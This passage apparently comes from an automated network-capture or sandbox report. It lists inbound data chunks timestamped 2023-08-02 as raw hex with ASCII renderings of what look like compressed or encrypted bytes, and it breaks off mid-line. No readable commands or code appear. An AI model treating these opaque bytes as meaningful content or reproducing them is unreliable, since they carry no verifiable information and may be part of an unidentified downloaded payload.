a5 4a dc 05 e3 Data Ascii: 5_1SBcqWRe7h&}TmX#6KT)/Oi-u~\`fmhUHWx::H?S}TcUp{<VzfSMz/nvHlvD>SNHVw6{`"W@&XiERVJm }\>{=:UxK8JJ
2023-08-02 08:46:24 UTC	146	IN	Data Raw: 7d db a1 98 8b 0b 32 2a 7c 4d 92 75 97 9d e5 fc 13 17 34 7d b3 4a ec c9 6e ab a0 c3 31 a2 aa 17 69 f7 4f a9 ec 5c e6 10 11 cf af a1 3c 10 9a f6 7c cc 29 dc 18 04 7a bc a9 14 8d 67 3b 22 ff 94 fd f8 c1 6a ae 8e c4 3b bd 42 ba 97 4f f3 10 34 5e ce 1d ee ac 29 b2 e3 f3 b7 5f df 35 48 03 63 7b 91 1e a6 dd 5e 42 58 e9 f4 36 05 5a ae c5 6f f5 cc 11 ef 31 d4 d1 6e e1 3f 81 eb e5 b2 48 9f 15 fb 02 90 f7 73 96 5c 38 8c 91 b5 de 6a 88 51 87 e2 fe 27 8f b4 50 9d d9 5d 8a 54 5b bb 39 f0 49 a8 4c d6 a2 aa 23 1e e6 70 fe 64 8a 95 c1 a8 e2 d0 92 f9 1f 1f b0 c9 9c b4 74 68 b8 8d 23 6d e8 f8 f8 f3 3e 74 48 d7 e3 a2 f5 60 60 a5 7b bc 1b 59 9f 33 9e ef 05 73 a8 f2 3b d6 85 37 89 3c ee 88 d3 41 b1 23 de f4 02 dd 22 0e 29 3e 01 9e 08 b1 8a b2 da 68 6b 5d 3d 0f 5f a0 ea 4d ee Data Ascii: }2*\|Mu4}Jn1iO\<\|)zg;"j;BO4^)_5Hc{^BX6Zo1n?Hs\8jQ'P]T[9IL#pdth#m>tH``{Y3s;7<A#")>hk]=_M
2023-08-02 08:46:24 UTC	162	IN	Data Raw: 8c 17 75 39 7d 85 5e e0 8d 48 4e 9f 46 a1 35 82 c6 49 18 09 3f f4 6d 3a 03 a2 be 60 4c 59 41 2e dd 59 70 75 ab d5 ca 4c 16 a9 88 17 54 b6 05 b7 88 b8 26 77 01 b9 4e 71 25 e9 3d 34 bb 69 3e 40 e1 8f d4 a3 88 d1 54 0b 12 ec 27 39 f6 a4 57 a2 f3 b3 5b 86 e7 89 87 26 0c fd d0 e0 00 4a 42 47 26 84 ca 0f 26 c0 48 eb f4 c0 f1 c2 5f 9e a0 a9 91 0c d0 3d b2 bd 97 54 cf f9 2d 7f 39 b3 be d5 90 fe d6 5f ad 58 30 8d 1d 2b 25 2a 08 ae 57 f0 7d a3 a3 c4 cf b4 c6 4e b3 dd 14 a3 dc ce 7e da ad 75 20 d6 01 70 b6 25 df 0e eb c2 c4 92 f0 12 02 10 38 12 c1 86 df 1d 20 c8 a1 07 5f e5 c7 e0 c2 62 d1 2b ef 0e f4 e6 20 26 b7 ad c1 5e 68 08 46 44 9c f4 fd 97 cc f5 5d b8 4a 00 39 56 4f d2 46 60 54 7f 3f 9f e9 23 90 b8 ad b7 3c 8e 82 4c 4e ce 3e 7d dc 9b f7 1f 4e b8 e1 94 0d 36 24 Data Ascii: u9}^HNF5I?m:`LYA.YpuLT&wNq%=4i>@T'9W[&JBG&&H_=T-9_X0+%*W}N~u p%8 _b+ &^hFD]J9VOF`T?#<LN>}N6$
2023-08-02 08:46:24 UTC	178	IN	Data Raw: c6 30 7f 56 6f 91 54 9b 0f c1 50 8a 90 5d b4 4c 73 64 bb 05 6b cf bf 16 e1 92 c9 47 b0 d0 0e 87 f1 f6 b1 24 bc 3e 08 91 9b 4b 6c 6a 9a 23 5d 85 fc ca 7d cd dc 1f 65 17 e9 41 d0 81 90 5f fd 41 ed bd 6c 85 6e e7 ab ea ba 1c 46 a3 c9 06 8e ea 16 68 94 b2 7e 27 ef fb a8 3b eb e5 81 35 75 bf 9c f4 43 f6 ca d8 87 27 fd c6 6b 4f b2 3f 93 cf d0 6a 59 d3 f2 d5 3d fc 2e 08 e3 68 72 ee 3d 72 ef e6 30 e4 66 e5 f7 89 bf 3a 20 93 48 18 80 6e 07 df df a0 71 0b ca 43 8b 49 bd 42 40 83 46 d2 71 1c dd 29 2b 3c 1a db d7 77 31 10 73 8e 2c a0 98 98 ab 95 46 5f de 40 8b c7 63 51 5d 80 2a 0d 93 16 d9 e0 38 47 f3 6f 46 51 02 e5 33 8c 09 52 f6 de 84 c7 11 7d 20 22 16 11 57 46 87 75 44 ec 12 0a e9 30 06 7b 8c 2e b4 d1 10 bd 2e 7f 78 79 27 e4 cd c1 6a 9d 74 0d 9f 6b 4e e2 6d 79 c2 Data Ascii: 0VoTP]LsdkG$>Klj#]}eA_AlnFh~';5uC'kO?jY=.hr=r0f: HnqCIB@Fq)+<w1s,F_@cQ]*8GoFQ3R} "WFuD0{..xy'jtkNmy
2023-08-02 08:46:24 UTC	194	IN	Data Raw: 6d cd fe f3 ab 5a ad 11 a6 2a 1e ce 5a 23 33 aa d5 a9 ca 9a 32 d3 15 a2 5b d3 20 27 99 11 da 1b 79 a2 74 12 3d 92 9a e3 39 af e9 e6 49 a8 d0 94 8c 1f 36 52 f1 9c c1 17 da ba 20 55 d6 99 19 77 b4 0c 26 ce 09 37 73 4f 78 56 82 65 51 d8 9b 65 5d 45 e5 d7 db 6a 16 76 b5 99 04 f7 a3 a7 77 8e dd 37 e7 68 f9 db 9c f3 34 64 c0 ca c4 05 71 9e e2 f7 8f 06 f6 e5 ba f5 4e 61 bc 09 5b 46 cd bf 4a 1d a2 72 ee 5f a5 3f b8 5c 9b f8 95 c4 e3 ed 26 4e 56 a8 ed 5c 1e da c8 35 3d cb a3 6d ce fa 8a 69 11 36 55 12 34 11 95 29 cf 18 2f 17 1b f9 95 13 f6 05 19 b5 5d fb 89 91 11 45 24 5e a7 a7 3d ce da f4 ba 04 2d 09 87 08 5d 5c 7d a4 24 1a 31 6f c2 80 3b b9 93 66 04 48 a3 9b 40 63 88 36 04 f8 95 48 14 c5 3f 2e 1f 50 11 be d8 1a d6 34 9a 33 03 1a ae be 41 9d e1 40 32 46 62 7c cd Data Ascii: mZ*Z#32[ 'yt=9I6R Uw&7sOxVeQe]Ejvw7h4dqNa[FJr_?\&NV\5=mi6U4)/]E$^=-]\}$1o;fH@c6H?.P43A@2Fb\|
2023-08-02 08:46:24 UTC	210	IN	Data Raw: 25 76 4f 5a e8 f5 f3 3e 6a c2 01 1c 5c 6a 86 f9 be ee 51 bf 45 18 56 ad b5 88 8c 3b e5 17 53 ef b8 a3 1a be cf 11 6f db a7 88 92 9b 5f 7d ac 76 2f ba 33 bb 7f 09 0c 43 00 e3 66 0b 38 3e e4 ed 19 dc e2 ea b1 da f6 a0 91 e5 05 6d 34 4b 5f 4c 8e df 07 d2 a6 b9 ef 72 eb b4 3f cd 01 77 1b fe 7b c8 5a a4 65 c5 82 3d 3d 59 80 6b 7f 11 92 36 d1 fe 75 b5 40 97 8c fe 1d 01 02 32 19 95 0d 89 b5 4b ba bf 5c 76 bd 42 b0 70 ce c9 9f c2 c1 88 03 8a d9 35 66 ca 3f f2 cf 35 33 1e 50 7f 5d f1 8b fb e7 b7 f8 48 51 28 2b 34 6b b4 ad ff 1b ae d3 70 89 0f 05 0f f6 5c a3 97 18 d4 d6 de 73 8b 87 de be ed b8 9e 97 f8 79 38 e8 0a 95 e5 41 8b 60 fd f3 34 9f 36 d9 c1 81 1a 88 13 8b 56 c1 8b b7 75 50 e9 43 9f 73 49 28 50 04 0a 5f 1d 37 bf 6e fe b8 6e 41 47 73 4d fb 5d 32 38 bf c1 9c Data Ascii: %vOZ>j\jQEV;So_}v/3Cf8>m4K_Lr?w{Ze==Yk6u@2K\vBp5f?53P]HQ(+4kp\sy8A`46VuPCsI(P_7nnAGsM]28
2023-08-02 08:46:24 UTC	226	IN	Data Raw: 20 f8 49 24 84 ea 6b 3c b6 e7 f8 6a 67 62 6d c8 f6 51 55 f3 5a ea 75 85 0d 32 2e c0 80 91 c6 fb 00 56 d2 51 25 ec eb ee 9d 65 46 ba 28 73 91 56 ea a3 a2 11 fe 15 a6 b6 6b 55 0b 5b 5f d8 e4 5f 45 ae 7b 2f a3 be c7 a0 21 2b 90 79 0e 26 d8 e9 76 ae 01 83 89 87 2e 2c 02 f7 fc 93 ae b0 cd 41 e6 90 76 9a 7f b7 ba 3c 6a d1 2d da f8 ee 1b 60 90 a0 af 99 b6 24 68 0d ed 5f d8 42 83 69 71 7b 94 2e 8f ba 32 46 a8 4f 10 f8 d6 3c 22 ca 3c 2c 26 8b 60 7d 5a 99 0b 07 4f 8b c7 db 66 52 82 a9 31 1e 2e b9 ea f9 b3 8c f5 78 33 c4 ef d6 6a 2a c8 3e 59 83 12 48 cc cd 97 c0 66 cb 46 13 3b 25 7d ef ff b6 08 1a ee 7d 1b 58 a3 1e 45 9b 90 1b 7f b1 eb 3a ca ad 01 44 51 b8 51 db 85 65 d7 89 d5 68 65 19 26 92 55 fb 8c 23 8a 0f 34 38 fc 84 d7 00 27 9e dc 90 df 9f 6b 29 ec 0f 96 9c a0 Data Ascii: I$k<jgbmQUZu2.VQ%eF(sVkU[__E{/!+y&v.,Av<j-`$h_Biq{.2FO<"<,&`}ZOfR1.x3j*>YHfF;%}}XE:DQQehe&U#48'k)
2023-08-02 08:46:24 UTC	242	IN	Data Raw: 9b e7 09 25 f4 ec 98 5b 73 de e9 61 63 74 45 52 67 8b d2 aa 7d 3a f5 77 d9 e3 22 d5 39 98 2f fc 4a 50 98 f2 92 cf 55 35 3d 2b 99 ad f1 c2 77 00 33 34 fe eb 1f 53 b4 f3 b5 8f 46 61 3f ff 10 31 66 1f 82 bf 26 8d aa 43 b8 ff b2 fb f2 67 c2 c0 cf 78 be 7f a3 22 bf 6a 2d 39 22 34 67 f1 56 c8 ca cc b0 cc 3b 7a 90 27 6c a3 04 16 75 f3 9c d6 98 f5 a9 81 70 05 d6 2f cc ef ea 9a be 42 1d 9f 0b 7f 1a 9f 92 10 51 79 8e a0 b5 e0 67 47 f1 07 e3 16 ec a6 33 dc be de d4 6b 9e 47 c4 71 f3 95 a7 1f 62 39 ff 54 e3 64 95 3a 88 ce f1 c6 ce 00 cf d4 fa ed 4f 88 0b 85 42 1b 48 6a a7 05 08 c1 a7 26 3c fc e0 30 17 b8 a6 b4 3e ae 5b 85 1e 57 89 7b 8e 51 9f 55 95 1f c5 94 e1 9c 75 0a 27 4d 2b f2 ee 32 58 ef 09 a5 76 00 fa b7 8b 5d 6c 9e 19 db 97 f1 11 23 4c 32 f4 7e 5c a8 9c 95 e7 Data Ascii: %[sactERg}:w"9/JPU5=+w34SFa?1f&Cgx"j-9"4gV;z'lup/BQygG3kGqb9Td:OBHj&<0>[W{QUu'M+2Xv]l#L2~\
2023-08-02 08:46:24 UTC	258	IN	Data Raw: d6 a6 1a 71 15 b1 0e f5 e9 8e bb cb 47 27 49 2b 95 96 fa 10 33 07 69 64 05 7e 5e e0 72 45 bd bb 93 f4 76 ee d2 d9 f0 85 da e0 60 55 99 61 cf 4f 09 36 82 87 2a bb 1d e0 90 0c f9 8e df 91 a8 60 f9 38 9f df 1b 9f 60 7a 4b 4c 7c 60 74 8e 18 1c d4 aa 20 d2 6b b7 ce 20 10 d3 94 5b c7 bc c6 69 c2 e4 41 b0 c6 a8 ae 49 fe e0 87 d4 13 ff 82 c8 dd 06 a0 12 72 03 e3 cf 11 d9 c0 cd 9b d5 d7 cd 7c dc b6 1b c5 c0 4e 11 66 32 20 27 ad 05 be 7f d2 a8 5b 10 7c 8a 0c 4d 98 d1 4b c5 0c 8c 74 53 35 7e 90 14 a9 48 b2 e2 55 dd 60 e6 32 14 d9 9f ad 27 16 fd fe 76 35 50 08 32 1f 45 1f f4 0a 0d 39 54 c8 69 d1 0e 37 ee f2 21 f4 e5 88 5c 7f 7c 70 c5 94 1e 9f 7a 4e 50 91 8f 68 2b f0 89 62 70 f0 1a e4 3d 85 db c2 ff 5c 37 94 b7 8c 17 96 28 11 10 be c5 76 96 c0 81 1a 7a ce 25 9c fb c3 Data Ascii: qG'I+3id~^rEv`UaO6*`8`zKL\|`t k [iAIr\|Nf2 '[\|MKtS5~HU`2'v5P2E9Ti7!\\|pzNPh+bp=\7(vz%
2023-08-02 08:46:24 UTC	274	IN	Data Raw: 4b c9 1f 89 b7 3e 4b 24 a5 0e d6 fd a0 f0 cb 38 10 33 26 98 67 32 bf 69 30 50 30 b7 dd 96 26 24 7f b7 ef b4 cb 27 4b c1 38 88 c6 85 bb 96 99 99 c2 4b 07 10 43 94 c5 fc d7 a2 10 0d f3 29 9e 73 5f ac 83 9c 53 6f ed 55 28 bd 70 2c 57 48 4f 8c b0 b8 c4 3c 6b 44 55 d8 68 e7 da d3 c5 c0 6b 74 9b ed 82 be 83 1e 57 43 69 46 58 6b a2 a8 4c d0 18 56 13 78 c1 cd d2 6b 70 a2 0d 0c fd f2 b6 38 95 8f 48 4c 62 70 07 d9 99 db c7 4e da 41 6d 69 32 c3 e5 da 06 fe f0 a2 3f 1e 1e 46 3d c1 7d d0 9a ee a2 db b5 26 24 f4 1f 16 67 ec e7 48 4b e2 b9 02 49 1f 82 b9 17 c6 31 f7 b7 75 b5 30 7f 21 94 87 05 b3 4c 97 91 58 09 e7 d9 41 ff ae ee 75 f3 a5 c5 52 c1 a5 16 da be a7 9c 10 26 15 fa ce d9 80 ff fb de b0 ca fe 77 d8 af a6 1d 61 76 f3 86 b5 37 c2 a3 b8 13 24 34 44 61 cc fc ed a0 Data Ascii: K>K$83&g2i0P0&$'K8KC)s_SoU(p,WHO<kDUhktWCiFXkLVxkp8HLbpNAmi2?F=}&$gHKI1u0!LXAuR&wav7$4Da
2023-08-02 08:46:24 UTC	290	IN	Data Raw: e2 81 11 8d 97 25 5d c1 f6 fa 06 0e 27 53 9e 1f d6 5d f5 82 7f d9 d8 5f 4f 5a d7 4d fc 0c 39 e4 af fa 54 52 0f 44 85 1b 0f c0 05 38 6d 70 58 46 c4 1e ee 3a e9 23 60 c3 4e 23 e9 91 4f 9d 9d d1 69 c4 de ef 12 73 57 92 af 85 2a 16 58 34 37 de 1b 8e 57 0a ae e2 84 f3 23 d4 09 18 87 06 41 aa f1 e6 a1 01 72 c6 11 7e 7a 73 a6 93 3d a8 7a 0d 33 61 f3 8e a8 52 f1 bc a2 5b 73 3a 8e ee 62 bc e6 c1 33 a5 b1 ea de 42 0f 78 80 ea e3 05 ee 57 e0 6e 6d 00 f7 c7 a5 f2 ae 74 50 f7 d8 30 24 17 ed d8 2f 5c d6 bf 4f f4 9a e6 be 33 63 5c 6b c0 2e 1f 74 43 10 48 94 33 8d a7 19 63 ce 7f c0 7e a1 5a 5a 90 fc 2c 85 38 90 c9 f2 af 2d a3 71 d5 87 9d aa 1d 74 2a 6a 80 27 e6 f8 e9 c3 90 31 b1 ee d5 9a 01 04 70 22 7e 04 d1 20 d9 a8 2d d6 41 8d de e8 d8 6a dc 03 9e 9f f8 eb 15 b6 43 2a Data Ascii: %]'S]_OZM9TRD8mpXF:#`N#OisWX47W#Ar~zs=z3aR[s:b3BxWnmtP0$/\O3c\k.tCH3c~ZZ,8-qtj'1p"~ -AjC*
2023-08-02 08:46:24 UTC	306	IN	Data Raw: 55 df 92 82 2f 9d 1f 6e 61 04 99 26 2d 38 da a4 42 3f bf 80 db 22 81 01 75 a8 67 06 4f 8a 97 db 3d bd 70 6f bc ec 61 14 17 54 2a 9b 51 d9 96 4b 33 a0 16 17 f8 c9 d0 fd a3 20 47 25 88 6e 5e 00 a7 a9 de 40 67 c5 a8 9d 39 ba 10 ce 54 f3 2e d7 95 a3 a0 fb fa 03 39 df 13 3c f5 45 f3 16 1b 75 f3 9c 87 14 6d eb 24 fd f5 41 dd 3c 48 ab 18 95 5e ad 32 57 80 3c 88 72 a6 7e 0a da 99 2e 2e 27 cd f4 38 c3 b1 c9 b3 4f f7 fb 08 28 d5 4a b1 02 91 b8 2c bb 65 ab 58 56 f0 d5 b0 6a de 4d a1 f9 cc 01 12 14 7a 56 2e 14 de 22 37 be 40 b1 c6 11 e4 86 d0 a1 b6 9f 24 31 11 eb 3a c5 6d b1 58 8c 6b 90 ff 20 8d 50 c4 a8 c0 4a e6 36 ce ca 1b 4e dd f9 1b c5 ab 6d c7 5d fb fd 4e ff 50 dd 16 af 05 73 1d f5 9f 78 24 7c dd 47 6a 36 aa 6e 7d 6c 74 2b 72 d3 10 15 a1 13 26 40 ff 91 5a 8c c2 Data Ascii: U/na&-8B?"ugO=poaT*QK3 G%n^@g9T.9<Eum$A<H^2W<r~..'8O(J,eXVjMzV."7@$1:mXk PJ6Nm]NPsx$\|Gj6n}lt+r&@Z
2023-08-02 08:46:24 UTC	322	IN	Data Raw: e9 9c 62 09 82 68 eb 6b db 7b 67 ea 38 3b f2 8c 2c 0b e7 a6 7f 12 09 94 36 d7 9a ef 16 a7 ce c3 4d fc b2 98 83 df 8f f2 dc 46 5d ac a5 48 80 04 71 96 91 6f 50 80 d6 11 e5 2f 68 a2 0a 5d 96 90 6e 1a 5b 4f 12 6e 06 7b d5 c0 65 be 8a 63 b2 5a 82 48 43 05 3f 2a 7a fb 0e b9 3d a1 03 80 fe 01 e1 f8 0b d7 39 2f 6d 89 2b 74 87 0d e1 be 73 73 27 86 2c fa 6d b6 fe a9 5f 87 17 74 13 fc a3 0a b0 e8 d0 6f d6 cc 91 29 b5 91 2a a5 f4 5e d1 58 fa 18 8b a4 2b 91 5d b6 ef 6d 73 e1 86 42 b8 d8 03 18 a8 0a f8 cc dc ed 4e 3d cb 4c 3e 24 17 ca 60 a0 23 8c 5f d1 95 84 0f 09 e0 32 ec d2 9c c9 fd 64 2a e9 f4 a9 c4 8e 3c b3 98 80 2e 39 c3 94 1a c3 d7 d3 eb 8d 26 27 f6 74 a6 fd ae 8c c1 cf 38 d9 9c 63 7e 26 57 80 90 b6 30 b2 06 b0 d4 b9 41 84 55 16 d3 92 e1 1f e8 19 a6 64 3d 35 4b Data Ascii: bhk{g8;,6MF]HqoP/h]n[On{ecZHC?z=9/m+tss',m_to)^X+]msBN=L>$`#_2d*<.9&'t8c~&W0AUd=5K
2023-08-02 08:46:24 UTC	338	IN	Data Raw: fa 66 60 37 8d 13 88 f0 2e 77 48 32 62 94 ba 85 89 86 2f 51 a2 48 53 76 11 8a 97 89 a4 aa 9d 98 ec a7 4e 84 cc 8f 55 28 ed 71 d1 77 ba 9c 58 74 34 68 ac 4d 53 15 bd 0e 06 91 ff 74 09 78 da ff ea 3d 23 76 94 59 15 8b eb 0d 31 eb 1f f9 64 04 96 eb 98 1a 7f fa 28 36 30 e5 b3 6a fd b3 9e 25 e7 89 cc 04 06 b4 07 dd 5d 4c da a3 aa ca bc fd c2 f8 b4 a6 a1 65 38 47 f9 ca 62 98 90 0a 62 6d 71 14 3f a7 2d 2f 57 5f 1a 68 4d 64 89 1e a7 de 72 e8 7e fd f3 4b 03 10 ae 51 e4 2c 03 3b 97 97 31 f8 16 01 d7 cb 9d 39 fe 97 f5 eb 74 4d 01 74 60 c8 4d 3e 6b 34 a2 df 63 ed a5 51 8e 48 0c ed 99 4d 04 df 50 43 62 c1 9d a3 70 2d 44 cc f0 1b 65 02 d0 11 7f 77 b7 bb bd 53 86 27 6b 22 e7 62 1e 15 93 90 2e 1a 23 09 39 79 c0 19 7b 2a 72 6b 9d e7 61 b5 fb 3a 2d 2c 46 53 1f 09 21 70 24 Data Ascii: f`7.wH2b/QHSvNU(qwXt4hMStx=#vY1d(60j%]Le8Gbbmq?-/W_hMdr~KQ,;19tMt`M>k4cQHMPCbp-DewS'k"b.#9y{*rka:-,FS!p$
2023-08-02 08:46:24 UTC	354	IN	Data Raw: 42 a9 7f 37 9d 51 ce 90 d6 04 ac 5b e5 52 13 95 ef d8 5f fd 37 42 77 75 56 07 0d 51 29 32 80 be 6b e4 db b6 70 99 cb c2 5d b6 f4 6a e0 62 0f 42 7e 8e 08 88 92 bb 89 d6 da ef d7 cb 23 c4 bd f1 6b c3 a9 0c 2a 71 f8 22 94 a7 58 a0 e3 cc 0a 68 db d7 4c 53 62 43 46 82 d3 81 9d 5a 03 a9 ad 8d a8 72 d9 a9 7f d5 9e 36 a0 12 20 9f 51 75 6f 7d 30 c1 58 7d e8 10 df 4f 8d 59 49 33 31 56 e0 ed 65 e0 df be e0 f5 73 19 63 99 84 05 4b 3c 57 d6 eb e3 26 f9 62 db b0 9a 1f 09 e9 5e 8f ee 83 45 38 34 48 a6 a0 9e 48 cb d6 5a aa 2a ad d0 6f 79 ed 86 e0 43 fa 2c da e5 8e f4 62 90 43 a3 00 be eb cf 6d 8d 59 dd 09 7b 8e 7b 5b 04 9f fc 47 ae af 7c e3 70 06 f2 0d 8e 37 2f b9 73 41 b9 0a 25 f3 2c 07 32 77 18 d0 8a d7 2f 54 6a e0 77 f6 dd 0d 3a ed f5 66 4e 06 2c 5b bf 03 c7 29 77 ed Data Ascii: B7Q[R_7BwuVQ)2kp]jbB~#kq"XhLSbCFZr6 Quo}0X}OYI31VescK<W&b^E84HHZoyC,bCmY{{[G\|p7/sA%,2w/Tjw:fN,[)w
2023-08-02 08:46:24 UTC	370	IN	Data Raw: d6 6d af 7f f0 47 f7 9f 96 89 51 3d ae c9 a1 b3 eb d9 a4 5c 6c 33 12 ce 5b 79 39 60 c8 46 fc 0e 20 5c ef 73 c8 15 b1 9f 39 cc cb 68 a9 90 4e 04 98 d7 c4 e1 d9 bc 04 1d a8 ca 6a fa 47 7e 2d c8 6f da 03 28 7c 54 8d db f3 8a 70 a9 a9 e2 da 59 01 bd e6 8b 79 d3 47 62 80 f6 60 66 20 45 4d 64 5e 99 01 0d 2a 21 09 67 e1 5f c6 4e 7a 41 9e 15 59 6a 84 f4 b8 37 e9 68 9a 19 bb 16 4b f6 35 b3 91 ec f0 db cd 62 3c 92 2b 39 03 19 1f e6 4b a6 bc 98 9f 51 12 67 0d 5f 98 15 27 3d 5b 92 98 77 1f a7 01 12 1d e2 76 2a 6c 63 95 ab fa 37 d4 f3 74 81 79 18 ef d7 c1 8f ef b7 65 c2 4e 29 05 0a 03 2a 67 0c 43 d4 4d df ec 8d 57 6e b5 2d 16 08 e5 ca 8f 55 e4 e9 5c 19 74 41 be f5 be b6 85 65 34 a5 84 f8 4b 52 ed b7 a8 d0 bf 1c be 10 b3 c3 ec 89 dc 19 9d dc 6f bc 6a 65 99 90 8b 3e 95 Data Ascii: mGQ=\l3[y9`F \s9hNjG~-o(\|TpYyGb`f EMd^!g_NzAYj7hK5b<+9KQg_'=[wvlc7tyeN)*gCMWn-U\tAe4KRoje>
2023-08-02 08:46:24 UTC	386	IN	Data Raw: 2a d8 08 6c d5 df 20 b8 8a 7c a6 cf 9b 51 4e 8a 12 ac 08 cd 98 ce 87 73 e1 ed 15 e7 4b 28 99 7e 3e ce 92 b1 f7 12 1a a7 f8 c3 97 f2 53 88 ff bc 0b 05 e1 65 b3 04 67 7f ec c1 95 53 ea 2a 14 31 1d 55 05 49 a7 1e ec 0b 7f 01 4f 37 33 c0 69 f4 cc 69 2e b6 ff 3e cc 95 26 f3 5d 29 0a e0 1d 70 c6 f1 27 07 f3 f8 af 9b 7b 72 a6 63 70 34 ac b6 ca c6 97 ad e3 49 b4 9e ae c5 97 bc 7b 3e a2 f8 c9 63 ea 9b b6 51 27 64 a2 98 cf d8 97 6a c9 a1 ce d0 33 79 60 17 5d 14 4f c1 de b2 1c 5b 3f 56 60 2c 45 b9 f0 19 3a 5d fa cb c6 22 5f 94 88 50 a2 2e e0 19 91 f0 53 aa 9b 3b 1b 7e ba 29 25 82 3a a1 c7 4c 1e e8 2f 09 f0 71 0f 8f cc bd 70 f6 b9 af 44 f6 b6 8d 4e 69 f2 b8 20 fc b0 4d c9 bc c5 2c 48 67 84 54 de 77 03 65 8d 34 dd 5d 52 c1 e2 5b 0e bf 97 5a c9 93 a0 b1 d6 f7 55 10 a7 Data Ascii: l \|QNsK(~>SegS1UIO73ii.>&])p'{rcp4I{>cQ'dj3y`]O[?V`,E:]"_P.S;~)%:L/qpDNi M,HgTwe4]R[ZU
2023-08-02 08:46:24 UTC	402	IN	Data Raw: 0b b1 33 3a aa 89 e4 52 3e 33 eb c6 40 b5 f8 31 2d b6 e7 4b 7c 2e cf da 60 55 6f 8a 43 cb da 34 f8 9c 21 f0 8c 51 ab 6f f2 a8 65 45 eb 8e 2b 84 bc 8c 22 85 67 0d 1a 60 87 ad b2 f7 ac 95 ac fd 48 76 e2 8c 25 e0 36 b6 41 de 5c e2 24 12 7c 3d 7b 50 e6 dd c6 b6 2e d0 c9 c4 ff b2 68 f1 e9 1b e3 74 7c 91 1d d4 69 15 e3 20 fc a0 c4 1d 6a da 78 73 f1 56 a5 f8 9f 7d c8 dc 51 5e 45 d0 c5 dc da 9d 68 5a f7 5b bf e1 e6 d5 d5 62 65 a6 7f 5b 85 24 a9 9e 2b 83 84 95 82 20 41 a8 16 d1 2c a9 83 89 1c c1 6a 48 21 1e 10 60 d1 be f6 75 b9 55 66 26 a1 83 d1 72 b9 6d fd 84 2b 97 86 6d a8 a6 f7 58 51 5a d1 c5 e5 34 39 5f ae 8e 0e 3a a6 c6 99 21 39 ea 1e 6c 19 6f 68 22 8f ba ea 4c 5b 0c d0 7c 15 fc 00 8a 1d ac d7 2c dd 90 7f 3c d9 dc d8 e9 8f 6a 07 d6 d8 cf b8 d3 6c f7 65 6f f4 Data Ascii: 3:R>3@1-K\|.`UoC4!QoeE+"g`Hv%6A\$\|={P.ht\|i jxsV}Q^EhZ[be[$+ A,jH!`uUf&rm+mXQZ49_:!9loh"L[\|,<jleo
2023-08-02 08:46:24 UTC	418	IN	Data Raw: bd a1 b1 61 72 4e f1 8a ac 54 34 d9 be 7a 84 b6 1b ed 49 5a 01 ce a1 f7 8e 06 c4 3d 01 fb 0f cf 22 c2 16 0c 8e 14 7e d2 fc 90 5b 38 eb 14 4f 83 96 ab 16 6b 58 a1 f8 e6 6d 19 45 31 1f 4a 93 4d fa 64 ef 4e 30 f5 af 19 22 24 73 6b 46 69 53 b0 5c cb 20 ba fe e1 37 1c ed db b0 c5 b7 64 38 eb 78 2a ec 05 73 fb b8 79 1e 8a 4f 56 b2 7e 7b eb 59 81 a3 ec 7b 8d a4 69 66 dc 9a ac 33 9d d0 2b ac 6f f1 94 e7 00 42 63 f0 92 1b f4 bb 57 a2 ea b8 62 9f d3 2e 50 b1 00 48 93 4a ec 50 b2 dc 76 22 0f 08 c8 a3 f7 25 5d 03 60 2c f1 de b7 36 3d 66 90 5c b3 03 bd 4a 31 35 b5 b3 6c 5b 92 41 8c 07 0d 84 2b 38 96 aa 73 da a8 94 8b 01 a5 d0 eb 44 07 b1 8f a2 87 d1 f8 bd a0 c2 fe cf 79 c7 af 12 24 67 42 bd 55 9f d4 ab 31 d8 76 52 70 3d ff 97 a8 a5 40 c1 00 74 56 19 5a 66 8a 98 14 a7 Data Ascii: arNT4zIZ="~[8OkXmE1JMdN0"$skFiS\ 7d8x*syOV~{Y{if3+oBcWb.PHJPv"%]`,6=f\J15l[A+8sDy$gBU1vRp=@tVZf
2023-08-02 08:46:24 UTC	434	IN	Data Raw: 1b 52 c9 cf 45 b8 9d ce 30 14 22 53 44 3e 44 1a 1e 71 9f f5 56 4a 92 25 30 e6 88 c3 a8 33 6f 1a 61 a5 3c 5c 3a bc 82 24 0c 1f 3f d1 79 91 12 1b c5 dc dc 36 8b 4f 37 9b ca 5d b1 1e cb f8 d5 36 20 ba 96 3b ca 40 5c 52 03 a6 54 e1 0e 86 fb 8d 43 c9 2e a9 4a 61 11 48 7d 0f 09 b7 6f 26 9a f0 59 b1 12 2a 93 d9 15 49 cb fa 8d e6 55 bb 9e 05 ba a2 6b c7 1d 1d d8 24 a3 31 34 5a 4f a9 bd 17 6e da db 16 17 3b 57 0d f6 e4 a5 73 50 9e c2 b4 13 6c 86 6f c6 88 ac 2e 0b 8b 92 87 a4 8e bf ef 3d 64 29 37 cb f6 74 6d 3b 1a 26 a2 de e3 21 00 77 1b e5 76 d2 81 07 10 90 2e 89 14 1b 37 c0 f9 23 38 85 79 1f b3 f3 50 18 67 2f c2 34 5e 93 bb c3 4d 1b d2 d3 91 ae 3a 69 46 02 e6 54 d3 d7 7d fb 62 76 7d 0d e5 3e f8 de aa 03 93 ab 23 66 f6 3e 30 dd 9e ab 5e 74 26 ce cf 96 4a 0d f0 62 Data Ascii: RE0"SD>DqVJ%03oa<\:$?y6O7]6 ;@\RTC.JaH}o&Y*IUk$14ZOn;WsPlo.=d)7tm;&!wv.7#8yPg/4^M:iFT}bv}>#f>0^t&Jb
2023-08-02 08:46:24 UTC	450	IN	Data Raw: ce d6 d0 a6 40 65 44 26 c4 fc f4 8d 3e 56 dc 25 48 eb 66 9d e6 74 32 56 33 0d 2d 38 01 f0 ee ae 55 ad 8b 59 d4 66 9c 91 55 6a a3 d4 79 0f c7 4f c0 40 30 f8 3b 94 61 e8 93 b7 bb d0 d1 7b 48 bd 3f 59 8f e5 a4 31 c4 08 75 27 9f b3 22 fd 9d c8 45 9c 23 40 11 a9 f2 e7 06 74 76 cf b6 0b f9 ea 6e 3b cc 1f 64 58 47 91 d6 8b 37 ff 19 cd 2e 01 90 ee ae f5 f7 b1 38 6a 58 e7 a5 74 02 54 85 3e 2f c5 61 73 06 5c bf e7 31 de 0b 85 5b 26 bf da 0a 6e 03 ce 78 24 5b 6c aa f6 a6 35 3f a3 f2 23 fa 71 34 7e bb 2e d0 5c 1b aa c6 e9 05 4a c8 dd d0 97 03 2d db fb aa 53 d3 80 84 cd 6b 99 b1 5f 0d d2 ee 8e 95 1c 4f c7 8e 57 83 01 9c 15 f8 88 99 f8 88 39 29 dd d0 66 c8 bb 7b 1d 35 e8 11 42 07 5d 2f 01 8d 18 11 8a 47 3f 40 ba d0 1c b5 f8 